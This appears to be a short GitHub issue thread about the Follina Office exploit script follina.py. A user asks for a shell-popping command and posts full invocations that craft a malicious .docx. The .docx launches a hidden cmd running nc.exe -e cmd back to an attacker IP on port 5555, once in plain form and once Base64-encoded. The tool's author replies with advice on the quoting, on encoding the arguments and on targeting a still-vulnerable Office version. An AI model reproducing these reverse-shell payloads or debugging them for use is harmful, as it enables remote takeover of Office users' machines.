想要一个可以弹shell的命令

[virbellez]

python .\follina.py -t docx -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c c:\windows\system32\nc.exe -e cmd 192.168.25.148 5555'" -H 192.168.25.148 -P 8080我试过这个，并且在攻击机打开nc监听，之后用靶机点击word文档，攻击机的8080可以监听到数据，但是5555并没有拿到nc反弹的shell。

[chvancooten]

Hi, looks like the single quote for your arguments is closed with a double quote. Also please verify that arguments are passed correctly (use Base64 to encode if you have to), and that you are targeting a version of Office that is still vulnerable.

[virbellez]

python .\follina.py -t docx -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList 'L2MgYzpcd2luZG93c1xzeXN0ZW0zMlxuYy5leGUgLWUgY21kIDE5Mi4xNjguMjUuMTQ4IDU1NTU='" -H 192.168.25.148 -P 8080
I made such a modification，/c c:\windows\system32\nc.exe -e cmd 192.168.25.148 5555 Base64 encoded to L2MgYzpcd2luZG93c1xzeXN0ZW0zMlxuYy5leGUgLWUgY21kIDE5Mi4xNjguMjUuMTQ4IDU1NTU= but still can not get shell in 5555